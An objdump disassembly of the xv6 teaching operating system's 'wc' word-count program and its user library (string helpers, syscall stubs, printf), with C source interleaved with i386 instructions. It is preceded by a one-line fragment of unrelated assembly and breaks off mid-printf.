bx, handle HolidayStrings ;; call MemUnlock ;; ;; .leave ;; ret ;;JCalendarUserStandardDialog endp HolidayCode ends
_wc: file format elf32-i386 Disassembly of section .text: 00000000 <wc>: char buf[512]; void wc(int fd, char *name) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 28 sub $0x28,%esp int i, n; int l, w, c, inword; l = w = c = 0; 6: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) d: 8b 45 e8 mov -0x18(%ebp),%eax 10: 89 45 ec mov %eax,-0x14(%ebp) 13: 8b 45 ec mov -0x14(%ebp),%eax 16: 89 45 f0 mov %eax,-0x10(%ebp) inword = 0; 19: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) while((n = read(fd, buf, sizeof(buf))) > 0){ 20: eb 63 jmp 85 <wc+0x85> for(i=0; i<n; i++){ 22: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 29: eb 52 jmp 7d <wc+0x7d> c++; 2b: ff 45 e8 incl -0x18(%ebp) if(buf[i] == '\n') 2e: 8b 45 f4 mov -0xc(%ebp),%eax 31: 05 60 09 00 00 add $0x960,%eax 36: 8a 00 mov (%eax),%al 38: 3c 0a cmp $0xa,%al 3a: 75 03 jne 3f <wc+0x3f> l++; 3c: ff 45 f0 incl -0x10(%ebp) if(strchr(" \r\t\n\v", buf[i])) 3f: 8b 45 f4 mov -0xc(%ebp),%eax 42: 05 60 09 00 00 add $0x960,%eax 47: 8a 00 mov (%eax),%al 49: 0f be c0 movsbl %al,%eax 4c: 83 ec 08 sub $0x8,%esp 4f: 50 push %eax 50: 68 e8 08 00 00 push $0x8e8 55: e8 0e 02 00 00 call 268 <strchr> 5a: 83 c4 10 add $0x10,%esp 5d: 85 c0 test %eax,%eax 5f: 74 09 je 6a <wc+0x6a> inword = 0; 61: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 68: eb 10 jmp 7a <wc+0x7a> else if(!inword){ 6a: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 6e: 75 0a jne 7a <wc+0x7a> w++; 70: ff 45 ec incl -0x14(%ebp) inword = 1; 73: c7 45 e4 01 00 00 00 movl $0x1,-0x1c(%ebp) int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 7a: ff 45 f4 incl -0xc(%ebp) 7d: 8b 45 f4 mov -0xc(%ebp),%eax 80: 3b 45 e0 cmp -0x20(%ebp),%eax 83: 7c a6 jl 2b <wc+0x2b> int i, n; int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ 85: 83 ec 04 sub $0x4,%esp 88: 68 00 02 00 00 push $0x200 8d: 68 60 09 00 00 push $0x960 92: ff 75 08 pushl 0x8(%ebp) 95: e8 4e 03 00 00 call 3e8 <read> 9a: 83 c4 10 add $0x10,%esp 9d: 89 45 e0 mov %eax,-0x20(%ebp) a0: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) a4: 0f 8f 78 ff ff ff jg 22 <wc+0x22> w++; inword = 1; } } } if(n < 0){ aa: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) ae: 79 17 jns c7 <wc+0xc7> printf(1, "wc: read error\n"); b0: 83 ec 08 sub $0x8,%esp b3: 68 ee 08 00 00 push $0x8ee b8: 6a 01 push $0x1 ba: e8 80 04 00 00 call 53f <printf> bf: 83 c4 10 add $0x10,%esp exit(); c2: e8 09 03 00 00 call 3d0 <exit> } printf(1, "%d %d %d %s\n", l, w, c, name); c7: 83 ec 08 sub $0x8,%esp ca: ff 75 0c pushl 0xc(%ebp) cd: ff 75 e8 pushl -0x18(%ebp) d0: ff 75 ec pushl -0x14(%ebp) d3: ff 75 f0 pushl -0x10(%ebp) d6: 68 fe 08 00 00 push $0x8fe db: 6a 01 push $0x1 dd: e8 5d 04 00 00 call 53f <printf> e2: 83 c4 20 add $0x20,%esp } e5: c9 leave e6: c3 ret 000000e7 <main>: int main(int argc, char *argv[]) { e7: 8d 4c 24 04 lea 0x4(%esp),%ecx eb: 83 e4 f0 and $0xfffffff0,%esp ee: ff 71 fc pushl -0x4(%ecx) f1: 55 push %ebp f2: 89 e5 mov %esp,%ebp f4: 53 push %ebx f5: 51 push %ecx f6: 83 ec 10 sub $0x10,%esp f9: 89 cb mov %ecx,%ebx int fd, i; if(argc <= 1){ fb: 83 3b 01 cmpl $0x1,(%ebx) fe: 7f 17 jg 117 <main+0x30> wc(0, ""); 100: 83 ec 08 sub $0x8,%esp 103: 68 0b 09 00 00 push $0x90b 108: 6a 00 push $0x0 10a: e8 f1 fe ff ff call 0 <wc> 10f: 83 c4 10 add $0x10,%esp exit(); 112: e8 b9 02 00 00 call 3d0 <exit> } for(i = 1; i < argc; i++){ 117: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 11e: eb 70 jmp 190 <main+0xa9> if((fd = open(argv[i], 0)) < 0){ 120: 8b 45 f4 mov -0xc(%ebp),%eax 123: c1 e0 02 shl $0x2,%eax 126: 03 43 04 add 0x4(%ebx),%eax 129: 8b 00 mov (%eax),%eax 12b: 83 ec 08 sub $0x8,%esp 12e: 6a 00 push $0x0 130: 50 push %eax 131: e8 da 02 00 00 call 410 <open> 136: 83 c4 10 add $0x10,%esp 139: 89 45 f0 mov %eax,-0x10(%ebp) 13c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 140: 79 23 jns 165 <main+0x7e> printf(1, "wc: cannot open %s\n", argv[i]); 142: 8b 45 f4 mov -0xc(%ebp),%eax 145: c1 e0 02 shl $0x2,%eax 148: 03 43 04 add 0x4(%ebx),%eax 14b: 8b 00 mov (%eax),%eax 14d: 83 ec 04 sub $0x4,%esp 150: 50 push %eax 151: 68 0c 09 00 00 push $0x90c 156: 6a 01 push $0x1 158: e8 e2 03 00 00 call 53f <printf> 15d: 83 c4 10 add $0x10,%esp exit(); 160: e8 6b 02 00 00 call 3d0 <exit> } wc(fd, argv[i]); 165: 8b 45 f4 mov -0xc(%ebp),%eax 168: c1 e0 02 shl $0x2,%eax 16b: 03 43 04 add 0x4(%ebx),%eax 16e: 8b 00 mov (%eax),%eax 170: 83 ec 08 sub $0x8,%esp 173: 50 push %eax 174: ff 75 f0 pushl -0x10(%ebp) 177: e8 84 fe ff ff call 0 <wc> 17c: 83 c4 10 add $0x10,%esp close(fd); 17f: 83 ec 0c sub $0xc,%esp 182: ff 75 f0 pushl -0x10(%ebp) 185: e8 6e 02 00 00 call 3f8 <close> 18a: 83 c4 10 add $0x10,%esp if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 18d: ff 45 f4 incl -0xc(%ebp) 190: 8b 45 f4 mov -0xc(%ebp),%eax 193: 3b 03 cmp (%ebx),%eax 195: 7c 89 jl 120 <main+0x39> exit(); } wc(fd, argv[i]); close(fd); } exit(); 197: e8 34 02 00 00 call 3d0 <exit> 0000019c <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 19c: 55 push %ebp 19d: 89 e5 mov %esp,%ebp 19f: 57 push %edi 1a0: 53 push %ebx asm volatile("cld; rep stosb" : 1a1: 8b 4d 08 mov 0x8(%ebp),%ecx 1a4: 8b 55 10 mov 0x10(%ebp),%edx 1a7: 8b 45 0c mov 0xc(%ebp),%eax 1aa: 89 cb mov %ecx,%ebx 1ac: 89 df mov %ebx,%edi 1ae: 89 d1 mov %edx,%ecx 1b0: fc cld 1b1: f3 aa rep stos %al,%es:(%edi) 1b3: 89 ca mov %ecx,%edx 1b5: 89 fb mov %edi,%ebx 1b7: 89 5d 08 mov %ebx,0x8(%ebp) 1ba: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1bd: 5b pop %ebx 1be: 5f pop %edi 1bf: c9 leave 1c0: c3 ret 000001c1 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1c1: 55 push %ebp 1c2: 89 e5 mov %esp,%ebp 1c4: 83 ec 10 sub $0x10,%esp char *os; os = s; 1c7: 8b 45 08 mov 0x8(%ebp),%eax 1ca: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1cd: 90 nop 1ce: 8b 45 0c mov 0xc(%ebp),%eax 1d1: 8a 10 mov (%eax),%dl 1d3: 8b 45 08 mov 0x8(%ebp),%eax 1d6: 88 10 mov %dl,(%eax) 1d8: 8b 45 08 mov 0x8(%ebp),%eax 1db: 8a 00 mov (%eax),%al 1dd: 84 c0 test %al,%al 1df: 0f 95 c0 setne %al 1e2: ff 45 08 incl 0x8(%ebp) 1e5: ff 45 0c incl 0xc(%ebp) 1e8: 84 c0 test %al,%al 1ea: 75 e2 jne 1ce <strcpy+0xd> ; return os; 1ec: 8b 45 fc mov -0x4(%ebp),%eax } 1ef: c9 leave 1f0: c3 ret 000001f1 <strcmp>: int strcmp(const char *p, const char *q) { 1f1: 55 push %ebp 1f2: 89 e5 mov %esp,%ebp while(*p && *p == *q) 1f4: eb 06 jmp 1fc <strcmp+0xb> p++, q++; 1f6: ff 45 08 incl 0x8(%ebp) 1f9: ff 45 0c incl 0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1fc: 8b 45 08 mov 0x8(%ebp),%eax 1ff: 8a 00 mov (%eax),%al 201: 84 c0 test %al,%al 203: 74 0e je 213 <strcmp+0x22> 205: 8b 45 08 mov 0x8(%ebp),%eax 208: 8a 10 mov (%eax),%dl 20a: 8b 45 0c mov 0xc(%ebp),%eax 20d: 8a 00 mov (%eax),%al 20f: 38 c2 cmp %al,%dl 211: 74 e3 je 1f6 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 213: 8b 45 08 mov 0x8(%ebp),%eax 216: 8a 00 mov (%eax),%al 218: 0f b6 d0 movzbl %al,%edx 21b: 8b 45 0c mov 0xc(%ebp),%eax 21e: 8a 00 mov (%eax),%al 220: 0f b6 c0 movzbl %al,%eax 223: 89 d1 mov %edx,%ecx 225: 29 c1 sub %eax,%ecx 227: 89 c8 mov %ecx,%eax } 229: c9 leave 22a: c3 ret 0000022b <strlen>: uint strlen(char *s) { 22b: 55 push %ebp 22c: 89 e5 mov %esp,%ebp 22e: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 231: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 238: eb 03 jmp 23d <strlen+0x12> 23a: ff 45 fc incl -0x4(%ebp) 23d: 8b 45 fc mov -0x4(%ebp),%eax 240: 03 45 08 add 0x8(%ebp),%eax 243: 8a 00 mov (%eax),%al 245: 84 c0 test %al,%al 247: 75 f1 jne 23a <strlen+0xf> ; return n; 249: 8b 45 fc mov -0x4(%ebp),%eax } 24c: c9 leave 24d: c3 ret 0000024e <memset>: void* memset(void *dst, int c, uint n) { 24e: 55 push %ebp 24f: 89 e5 mov %esp,%ebp stosb(dst, c, n); 251: 8b 45 10 mov 0x10(%ebp),%eax 254: 50 push %eax 255: ff 75 0c pushl 0xc(%ebp) 258: ff 75 08 pushl 0x8(%ebp) 25b: e8 3c ff ff ff call 19c <stosb> 260: 83 c4 0c add $0xc,%esp return dst; 263: 8b 45 08 mov 0x8(%ebp),%eax } 266: c9 leave 267: c3 ret 00000268 <strchr>: char* strchr(const char *s, char c) { 268: 55 push %ebp 269: 89 e5 mov %esp,%ebp 26b: 83 ec 04 sub $0x4,%esp 26e: 8b 45 0c mov 0xc(%ebp),%eax 271: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 274: eb 12 jmp 288 <strchr+0x20> if(*s == c) 276: 8b 45 08 mov 0x8(%ebp),%eax 279: 8a 00 mov (%eax),%al 27b: 3a 45 fc cmp -0x4(%ebp),%al 27e: 75 05 jne 285 <strchr+0x1d> return (char*)s; 280: 8b 45 08 mov 0x8(%ebp),%eax 283: eb 11 jmp 296 <strchr+0x2e> } char* strchr(const char *s, char c) { for(; *s; s++) 285: ff 45 08 incl 0x8(%ebp) 288: 8b 45 08 mov 0x8(%ebp),%eax 28b: 8a 00 mov (%eax),%al 28d: 84 c0 test %al,%al 28f: 75 e5 jne 276 <strchr+0xe> if(*s == c) return (char*)s; return 0; 291: b8 00 00 00 00 mov $0x0,%eax } 296: c9 leave 297: c3 ret 00000298 <gets>: char* gets(char *buf, int max) { 298: 55 push %ebp 299: 89 e5 mov %esp,%ebp 29b: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 29e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 2a5: eb 38 jmp 2df <gets+0x47> cc = read(0, &c, 1); 2a7: 83 ec 04 sub $0x4,%esp 2aa: 6a 01 push $0x1 2ac: 8d 45 ef lea -0x11(%ebp),%eax 2af: 50 push %eax 2b0: 6a 00 push $0x0 2b2: e8 31 01 00 00 call 3e8 <read> 2b7: 83 c4 10 add $0x10,%esp 2ba: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 2bd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 2c1: 7e 27 jle 2ea <gets+0x52> break; buf[i++] = c; 2c3: 8b 45 f4 mov -0xc(%ebp),%eax 2c6: 03 45 08 add 0x8(%ebp),%eax 2c9: 8a 55 ef mov -0x11(%ebp),%dl 2cc: 88 10 mov %dl,(%eax) 2ce: ff 45 f4 incl -0xc(%ebp) if(c == '\n' || c == '\r') 2d1: 8a 45 ef mov -0x11(%ebp),%al 2d4: 3c 0a cmp $0xa,%al 2d6: 74 13 je 2eb <gets+0x53> 2d8: 8a 45 ef mov -0x11(%ebp),%al 2db: 3c 0d cmp $0xd,%al 2dd: 74 0c je 2eb <gets+0x53> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2df: 8b 45 f4 mov -0xc(%ebp),%eax 2e2: 40 inc %eax 2e3: 3b 45 0c cmp 0xc(%ebp),%eax 2e6: 7c bf jl 2a7 <gets+0xf> 2e8: eb 01 jmp 2eb <gets+0x53> cc = read(0, &c, 1); if(cc < 1) break; 2ea: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2eb: 8b 45 f4 mov -0xc(%ebp),%eax 2ee: 03 45 08 add 0x8(%ebp),%eax 2f1: c6 00 00 movb $0x0,(%eax) return buf; 2f4: 8b 45 08 mov 0x8(%ebp),%eax } 2f7: c9 leave 2f8: c3 ret 000002f9 <stat>: int stat(char *n, struct stat *st) { 2f9: 55 push %ebp 2fa: 89 e5 mov %esp,%ebp 2fc: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 2ff: 83 ec 08 sub $0x8,%esp 302: 6a 00 push $0x0 304: ff 75 08 pushl 0x8(%ebp) 307: e8 04 01 00 00 call 410 <open> 30c: 83 c4 10 add $0x10,%esp 30f: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 312: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 316: 79 07 jns 31f <stat+0x26> return -1; 318: b8 ff ff ff ff mov $0xffffffff,%eax 31d: eb 25 jmp 344 <stat+0x4b> r = fstat(fd, st); 31f: 83 ec 08 sub $0x8,%esp 322: ff 75 0c pushl 0xc(%ebp) 325: ff 75 f4 pushl -0xc(%ebp) 328: e8 fb 00 00 00 call 428 <fstat> 32d: 83 c4 10 add $0x10,%esp 330: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 333: 83 ec 0c sub $0xc,%esp 336: ff 75 f4 pushl -0xc(%ebp) 339: e8 ba 00 00 00 call 3f8 <close> 33e: 83 c4 10 add $0x10,%esp return r; 341: 8b 45 f0 mov -0x10(%ebp),%eax } 344: c9 leave 345: c3 ret 00000346 <atoi>: int atoi(const char *s) { 346: 55 push %ebp 347: 89 e5 mov %esp,%ebp 349: 83 ec 10 sub $0x10,%esp int n; n = 0; 34c: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 353: eb 22 jmp 377 <atoi+0x31> n = n*10 + *s++ - '0'; 355: 8b 55 fc mov -0x4(%ebp),%edx 358: 89 d0 mov %edx,%eax 35a: c1 e0 02 shl $0x2,%eax 35d: 01 d0 add %edx,%eax 35f: d1 e0 shl %eax 361: 89 c2 mov %eax,%edx 363: 8b 45 08 mov 0x8(%ebp),%eax 366: 8a 00 mov (%eax),%al 368: 0f be c0 movsbl %al,%eax 36b: 8d 04 02 lea (%edx,%eax,1),%eax 36e: 83 e8 30 sub $0x30,%eax 371: 89 45 fc mov %eax,-0x4(%ebp) 374: ff 45 08 incl 0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 377: 8b 45 08 mov 0x8(%ebp),%eax 37a: 8a 00 mov (%eax),%al 37c: 3c 2f cmp $0x2f,%al 37e: 7e 09 jle 389 <atoi+0x43> 380: 8b 45 08 mov 0x8(%ebp),%eax 383: 8a 00 mov (%eax),%al 385: 3c 39 cmp $0x39,%al 387: 7e cc jle 355 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 389: 8b 45 fc mov -0x4(%ebp),%eax } 38c: c9 leave 38d: c3 ret 0000038e <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 38e: 55 push %ebp 38f: 89 e5 mov %esp,%ebp 391: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 394: 8b 45 08 mov 0x8(%ebp),%eax 397: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 39a: 8b 45 0c mov 0xc(%ebp),%eax 39d: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 3a0: eb 10 jmp 3b2 <memmove+0x24> *dst++ = *src++; 3a2: 8b 45 f8 mov -0x8(%ebp),%eax 3a5: 8a 10 mov (%eax),%dl 3a7: 8b 45 fc mov -0x4(%ebp),%eax 3aa: 88 10 mov %dl,(%eax) 3ac: ff 45 fc incl -0x4(%ebp) 3af: ff 45 f8 incl -0x8(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 3b2: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 3b6: 0f 9f c0 setg %al 3b9: ff 4d 10 decl 0x10(%ebp) 3bc: 84 c0 test %al,%al 3be: 75 e2 jne 3a2 <memmove+0x14> *dst++ = *src++; return vdst; 3c0: 8b 45 08 mov 0x8(%ebp),%eax } 3c3: c9 leave 3c4: c3 ret 3c5: 90 nop 3c6: 90 nop 3c7: 90 nop 000003c8 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3c8: b8 01 00 00 00 mov $0x1,%eax 3cd: cd 40 int $0x40 3cf: c3 ret 000003d0 <exit>: SYSCALL(exit) 3d0: b8 02 00 00 00 mov $0x2,%eax 3d5: cd 40 int $0x40 3d7: c3 ret 000003d8 <wait>: SYSCALL(wait) 3d8: b8 03 00 00 00 mov $0x3,%eax 3dd: cd 40 int $0x40 3df: c3 ret 000003e0 <pipe>: SYSCALL(pipe) 3e0: b8 04 00 00 00 mov $0x4,%eax 3e5: cd 40 int $0x40 3e7: c3 ret 000003e8 <read>: SYSCALL(read) 3e8: b8 05 00 00 00 mov $0x5,%eax 3ed: cd 40 int $0x40 3ef: c3 ret 000003f0 <write>: SYSCALL(write) 3f0: b8 10 00 00 00 mov $0x10,%eax 3f5: cd 40 int $0x40 3f7: c3 ret 000003f8 <close>: SYSCALL(close) 3f8: b8 15 00 00 00 mov $0x15,%eax 3fd: cd 40 int $0x40 3ff: c3 ret 00000400 <kill>: SYSCALL(kill) 400: b8 06 00 00 00 mov $0x6,%eax 405: cd 40 int $0x40 407: c3 ret 00000408 <exec>: SYSCALL(exec) 408: b8 07 00 00 00 mov $0x7,%eax 40d: cd 40 int $0x40 40f: c3 ret 00000410 <open>: SYSCALL(open) 410: b8 0f 00 00 00 mov $0xf,%eax 415: cd 40 int $0x40 417: c3 ret 00000418 <mknod>: SYSCALL(mknod) 418: b8 11 00 00 00 mov $0x11,%eax 41d: cd 40 int $0x40 41f: c3 ret 00000420 <unlink>: SYSCALL(unlink) 420: b8 12 00 00 00 mov $0x12,%eax 425: cd 40 int $0x40 427: c3 ret 00000428 <fstat>: SYSCALL(fstat) 428: b8 08 00 00 00 mov $0x8,%eax 42d: cd 40 int $0x40 42f: c3 ret 00000430 <link>: SYSCALL(link) 430: b8 13 00 00 00 mov $0x13,%eax 435: cd 40 int $0x40 437: c3 ret 00000438 <mkdir>: SYSCALL(mkdir) 438: b8 14 00 00 00 mov $0x14,%eax 43d: cd 40 int $0x40 43f: c3 ret 00000440 <chdir>: SYSCALL(chdir) 440: b8 09 00 00 00 mov $0x9,%eax 445: cd 40 int $0x40 447: c3 ret 00000448 <dup>: SYSCALL(dup) 448: b8 0a 00 00 00 mov $0xa,%eax 44d: cd 40 int $0x40 44f: c3 ret 00000450 <getpid>: SYSCALL(getpid) 450: b8 0b 00 00 00 mov $0xb,%eax 455: cd 40 int $0x40 457: c3 ret 00000458 <sbrk>: SYSCALL(sbrk) 458: b8 0c 00 00 00 mov $0xc,%eax 45d: cd 40 int $0x40 45f: c3 ret 00000460 <sleep>: SYSCALL(sleep) 460: b8 0d 00 00 00 mov $0xd,%eax 465: cd 40 int $0x40 467: c3 ret 00000468 <uptime>: SYSCALL(uptime) 468: b8 0e 00 00 00 mov $0xe,%eax 46d: cd 40 int $0x40 46f: c3 ret 00000470 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 470: 55 push %ebp 471: 89 e5 mov %esp,%ebp 473: 83 ec 18 sub $0x18,%esp 476: 8b 45 0c mov 0xc(%ebp),%eax 479: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 47c: 83 ec 04 sub $0x4,%esp 47f: 6a 01 push $0x1 481: 8d 45 f4 lea -0xc(%ebp),%eax 484: 50 push %eax 485: ff 75 08 pushl 0x8(%ebp) 488: e8 63 ff ff ff call 3f0 <write> 48d: 83 c4 10 add $0x10,%esp } 490: c9 leave 491: c3 ret 00000492 <printint>: static void printint(int fd, int xx, int base, int sgn) { 492: 55 push %ebp 493: 89 e5 mov %esp,%ebp 495: 83 ec 38 sub $0x38,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 498: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 49f: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 4a3: 74 17 je 4bc <printint+0x2a> 4a5: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 4a9: 79 11 jns 4bc <printint+0x2a> neg = 1; 4ab: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 4b2: 8b 45 0c mov 0xc(%ebp),%eax 4b5: f7 d8 neg %eax 4b7: 89 45 ec mov %eax,-0x14(%ebp) 4ba: eb 06 jmp 4c2 <printint+0x30> } else { x = xx; 4bc: 8b 45 0c mov 0xc(%ebp),%eax 4bf: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 4c2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 4c9: 8b 4d 10 mov 0x10(%ebp),%ecx 4cc: 8b 45 ec mov -0x14(%ebp),%eax 4cf: ba 00 00 00 00 mov $0x0,%edx 4d4: f7 f1 div %ecx 4d6: 89 d0 mov %edx,%eax 4d8: 8a 90 28 09 00 00 mov 0x928(%eax),%dl 4de: 8d 45 dc lea -0x24(%ebp),%eax 4e1: 03 45 f4 add -0xc(%ebp),%eax 4e4: 88 10 mov %dl,(%eax) 4e6: ff 45 f4 incl -0xc(%ebp) }while((x /= base) != 0); 4e9: 8b 45 10 mov 0x10(%ebp),%eax 4ec: 89 45 d4 mov %eax,-0x2c(%ebp) 4ef: 8b 45 ec mov -0x14(%ebp),%eax 4f2: ba 00 00 00 00 mov $0x0,%edx 4f7: f7 75 d4 divl -0x2c(%ebp) 4fa: 89 45 ec mov %eax,-0x14(%ebp) 4fd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 501: 75 c6 jne 4c9 <printint+0x37> if(neg) 503: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 507: 74 2a je 533 <printint+0xa1> buf[i++] = '-'; 509: 8d 45 dc lea -0x24(%ebp),%eax 50c: 03 45 f4 add -0xc(%ebp),%eax 50f: c6 00 2d movb $0x2d,(%eax) 512: ff 45 f4 incl -0xc(%ebp) while(--i >= 0) 515: eb 1d jmp 534 <printint+0xa2> putc(fd, buf[i]); 517: 8d 45 dc lea -0x24(%ebp),%eax 51a: 03 45 f4 add -0xc(%ebp),%eax 51d: 8a 00 mov (%eax),%al 51f: 0f be c0 movsbl %al,%eax 522: 83 ec 08 sub $0x8,%esp 525: 50 push %eax 526: ff 75 08 pushl 0x8(%ebp) 529: e8 42 ff ff ff call 470 <putc> 52e: 83 c4 10 add $0x10,%esp 531: eb 01 jmp 534 <printint+0xa2> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 533: 90 nop 534: ff 4d f4 decl -0xc(%ebp) 537: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 53b: 79 da jns 517 <printint+0x85> putc(fd, buf[i]); } 53d: c9 leave 53e: c3 ret 0000053f <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 53f: 55 push %ebp 540: 89 e5 mov %esp,%ebp 542: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 545: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 54c: 8d 45 0c lea 0xc(%ebp),%eax 54f: 83 c0 04 add $0x4,%eax 552: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 555: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 55c: e9 58 01 00 00 jmp 6b9 <printf+0x17a> c = fmt[i] & 0xff; 561: 8b 55 0c mov 0xc(%ebp),%edx 564: 8b 45 f0 mov -0x10(%ebp),%eax 567: 8d 04 02 lea (%edx,%eax,1),%eax 56a: 8a 00 mov (%eax),%al 56c: 0f be c0 movsbl %al,%eax 56f: 25 ff 00 00 00 and $0xff,%eax 574: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 577: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 57b: 75 2c jne 5a9 <printf+0x6a> if(c == '%'){ 57d: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 581: 75 0c jne 58f <printf+0x50> state = '%'; 583: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 58a: e9 27 01 00 00 jmp 6b6 <printf+0x177> } else { putc(fd, c); 58f: 8b 45 e4 mov -0x1c(%ebp),%eax 592: 0f be c0 movsbl %al,%eax 595: 83 ec 08 sub $0x8,%esp 598: 50 push %eax 599: ff 75 08 pushl 0x8(%ebp) 59c: e8 cf fe ff ff call 470 <putc> 5a1: 83 c4 10 add $0x10,%esp 5a4: e9 0d 01 00 00 jmp 6b6 <printf+0x177> } } else if(state == '%'){ 5a9: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 5ad: 0f 85 03 01 00 00 jne 6b6 <printf+0x177> if(c == 'd'){ 5b3: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 5b7: 75 1e jne 5d7 <printf+0x98> printint(fd, *ap, 10, 1); 5b9: 8b 45 e8 mov -0x18(%ebp),%eax 5bc: 8b 00 mov (%eax),%eax 5be: 6a 01 push $0x1 5c0: 6a 0a push $0xa 5c2: 50 push %eax 5c3: ff 75 08 pushl 0x8(%ebp) 5c6: e8 c7 fe ff ff call 492 <printint> 5cb: 83 c4 10 add $0x10,%esp ap++; 5ce: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5d2: e9 d8 00 00 00 jmp 6af <printf+0x170> } else if(c == 'x' || c == 'p'){ 5d7: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 5db: 74 06 je 5e3 <printf+0xa4> 5dd: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 5e1: 75 1e jne 601 <printf+0xc2> printint(fd, *ap, 16, 0); 5e3: 8b 45 e8 mov -0x18(%ebp),%eax 5e6: 8b 00 mov (%eax),%eax 5e8: 6a 00 push $0x0 5ea: 6a 10 push $0x10 5ec: 50 push %eax 5ed: ff 75 08 pushl 0x8(%ebp) 5f0: e8 9d fe ff ff call 492 <printint> 5f5: 83 c4 10 add $0x10,%esp ap++; 5f8: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5fc: e9 ae 00 00 00 jmp 6af <printf+0x170> } else if(c == 's'){ 601: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 605: 75 43 jne 64a <printf+0x10b> s = (char*)*ap; 607: 8b 45 e8 mov -0x18(%ebp),%eax 60a: 8b 00 mov (%eax),%eax 60c: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 60f: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 613: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 617: 75 25 jne 63e <printf+0xff> s = "(null)"; 619: c7 45 f4 20 09 00 00 movl $0x920,-0xc(%ebp) while(*s != 0){ 620: eb 1d jmp 63f <printf+0x100> putc(fd, *s); 622: 8b 45 f4 mov -0xc(%ebp),%eax 625: 8a 00 mov (%eax),%al 627: 0f be c0 movsbl %al,%eax 62a: 83 ec 08 sub $0x8,%esp 62d: 50 push %eax 62e: ff 75 08 pushl 0x8(%ebp) 631: e8 3a fe ff ff call 470 <putc> 636: 83 c4 10 add $0x10,%esp s++; 639: ff 45 f4 incl -0xc(%ebp) 63c: 